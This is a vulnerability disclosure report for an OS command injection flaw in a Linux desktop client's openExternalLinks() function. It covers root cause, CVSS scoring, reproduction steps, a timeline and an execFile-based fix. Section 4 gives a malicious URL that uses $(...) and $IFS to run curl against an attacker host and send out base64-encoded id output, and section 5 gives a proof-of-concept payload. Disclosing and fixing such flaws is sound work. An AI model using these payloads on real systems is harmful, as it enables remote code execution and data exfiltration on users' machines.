CVE-2026-115904
Topluyo Desktop for Linux OS Command Injection in openExternalLinks()
OS Command Injection in openExternalLinks() (utils.js)
Technical Report
CVE-2026-115904 — OS Command Injection via openExternalLinks() in utils.js
| CVE ID | CVE-2026-115904 |
| Vulnerability Class | OS Command Injection (CWE-78) |
| Affected Component | utils.js → openExternalLinks(url) |
| Affected Platform | Linux (process.platform === "linux" branch) |
| Attack Vector | child_process.exec call triggered via user interaction (link click) |
| CVSS 3.1 Score | 9.6 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verified against the official CVE record) |
| Status | Patched (v2026.9.2410) |
| Discovery Date | September 23, 2026 |
| Vendor Notification / CVE Request Date | September 25, 2026 |
| Patch Date | September 25, 2026 (v2026.9.2410) |
| Public Disclosure Date | October 28, 2026 (CVE/GHSA publication date) |
1. Summary
The openExternalLinks() function in utils.js runs the xdg-open command via child_process.exec() to open an external URL on Linux. The function embeds the url value coming from the user/application flow directly into the command line inside double quotes, without any shell-safe escaping. Because exec() runs the given command through a shell (/bin/sh -c), $(...) (command substitution) sequences placed inside the URL are interpreted by the shell, allowing arbitrary command execution (RCE).
As a result, any flow in the application that produces a user-clickable/triggerable external link (e.g. messaging, link previews, notifications, an email client, etc.) can be turned into operating-system command execution via an attacker-controlled URL.
CVSS v3.1 Base Metrics
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | Required |
| Scope (S) | Changed |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
| Base Score | 9.6 (Critical) |
2. Vulnerable Code
const openExternalLinks = (url) => {
if (process.platform === "linux") {
const newUrl = new URL(url);
require("child_process").exec(`xdg-open "${newUrl}"`);
} else {
shell.openExternal(url).catch(err => {
let safeUrl = url;
try {
const parsed = new URL(url);
safeUrl = parsed.hostname || url.substring(0, 30) + '...';
} catch(e) {}
const customErr = new Error(`[openExternalLinks] Failed to open external link (target: ${safeUrl}). Error: ${err.message}`);
customErr.code = err.code;
throw customErr;
});
}
};
3. Root Cause Analysis
- The
new URL(url)call only validates that the URL is syntactically well-formed; it performs no shell meta-character filtering whatsoever. - The
newUrlvalue (i.e. theURLobject'stoString()output) is embedded directly into the command inside a template string, asxdg-open "${newUrl}". child_process.exec()runs the given command inside a shell (/bin/sh -c "..."). Double quotes ("...") do not neutralize all shell meta-characters in a shell: they block whitespace and glob (*) expansion, but command substitution (`cmd`and$(cmd)) remains active even inside double quotes.- Consequently, when the
urlparameter is given a value containing command substitution, the command inside the parentheses is executed by the shell beforexdg-openitself runs.
Correct/safe approach: use
child_process.execFile("xdg-open", [url])—execFilepasses arguments directly to the process without going through a shell, which eliminates this entire class of injection. Ifchild_process.execmust be used instead, it should be paired with strict escaping via a library such asshell-quote, plus an allow-list restricting the URL scheme tohttp(s)only.
4. Attack Scenario / Impact
- If any flow in the application that presents an external link to the user as "clickable" (a chat message, a notification, a link preview, etc.) calls this function, an attacker can send a maliciously crafted URL to the target.
- When the target user clicks the link (on the Linux desktop client), the shell executes the
$(...)block inside the URL beforexdg-openis even invoked. - The resulting RCE allows arbitrary command execution in the context of the user the application runs as (typically the desktop session user): data exfiltration, persistence (e.g. via
~/.bashrc, crontab, autostart files), opening a reverse shell, and so on. - User interaction (UI:R) is required (clicking the link), which makes this a critical risk when combined with social engineering.
Example Malicious URL
http://attacker.example/$(curl$IFS-s$IFSattacker.com/$(id|base64))
Note: Node's WHATWG URL class automatically percent-encodes characters such as
spaces, >, <, {, } in the path (%20, etc.), but $, (, ), |, ; are
not encoded, so command substitution is not blocked. For payloads that need a
space, the classic $IFS technique is used.
A direct, harmless PoC trigger (for out-of-band proof):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
5. Reproduction Steps
- Run the application containing the vulnerable
utils.jsfile on a Linux environment. - Find the in-app flow that triggers
openExternalLinks()(e.g. clicking a link in a message/notification). - Inject the following PoC URL into that flow:
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt) - After clicking the link, verify that the file
/tmp/cve-2026-115904-poc.txtwas created and contains the output of theidcommand.
Verified output (this PoC was tested in this environment):
[+] SUCCESS: Command injection confirmed!
[+] Contents of /tmp/cve-2026-115904-poc.txt:
uid=0(root) gid=0(root) groups=0(root)
Whether xdg-open itself subsequently fails (because no browser/handler is
found) is irrelevant — the command substitution is already triggered by the
shell before xdg-open is invoked, while it is parsing the command line.
5. Once command execution is confirmed, out-of-band data exfiltration can optionally be demonstrated with a controlled listener.
6. Mitigation / Fix Recommendation
const { execFile } = require("child_process");
const openExternalLinks = (url) => {
const parsed = new URL(url); // throws on invalid URL
if (!["http:", "https:"].includes(parsed.protocol)) {
throw new Error("Unsupported URL scheme");
}
if (process.platform === "linux") {
execFile("xdg-open", [parsed.toString()], (err) => {
if (err) {
// error handling
}
});
} else {
shell.openExternal(url).catch(err => { /* ...existing error handling... */ });
}
};
- Using
execFileinstead ofexeccompletely prevents the argument from passing through a shell. - As an additional defense layer, an allow-list permitting only the
http/httpsschemes has been added (which also prevents abuse of schemes such asfile:orjavascript:).
7. Timeline
| Date | Event |
|---|---|
| September 23, 2026 | Vulnerability discovered |
| September 25, 2026 | Reported to vendor / CVE requested |
| September 25, 2026 | Patch released (v2026.9.2410) |
| October 23, 2026 | CVE officially reserved (CNA processing date) |
| October 28, 2026 | CVE-2026-115904 PUBLISHED / GHSA-vrrv-3f46-c3x7 published |
| November 2, 2026 | This write-up published publicly |
8. References
- CVE-2026-115904 — https://www.cve.org/CVERecord?id=CVE-2026-115904
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') — https://cwe.mitre.org/data/definitions/78.html
- Node.js
child_processdocumentation — https://nodejs.org/api/child_process.html - NVD — https://nvd.nist.gov/vuln/detail/cve-2026-115904
- Medium — https://vulnsvnc.medium.com/cve-2026-115904-os-command-injection-via-openexternallinks-in-utils-js-af8d31f28942
Researcher: Umut SEVİNÇ (VulnSVNC)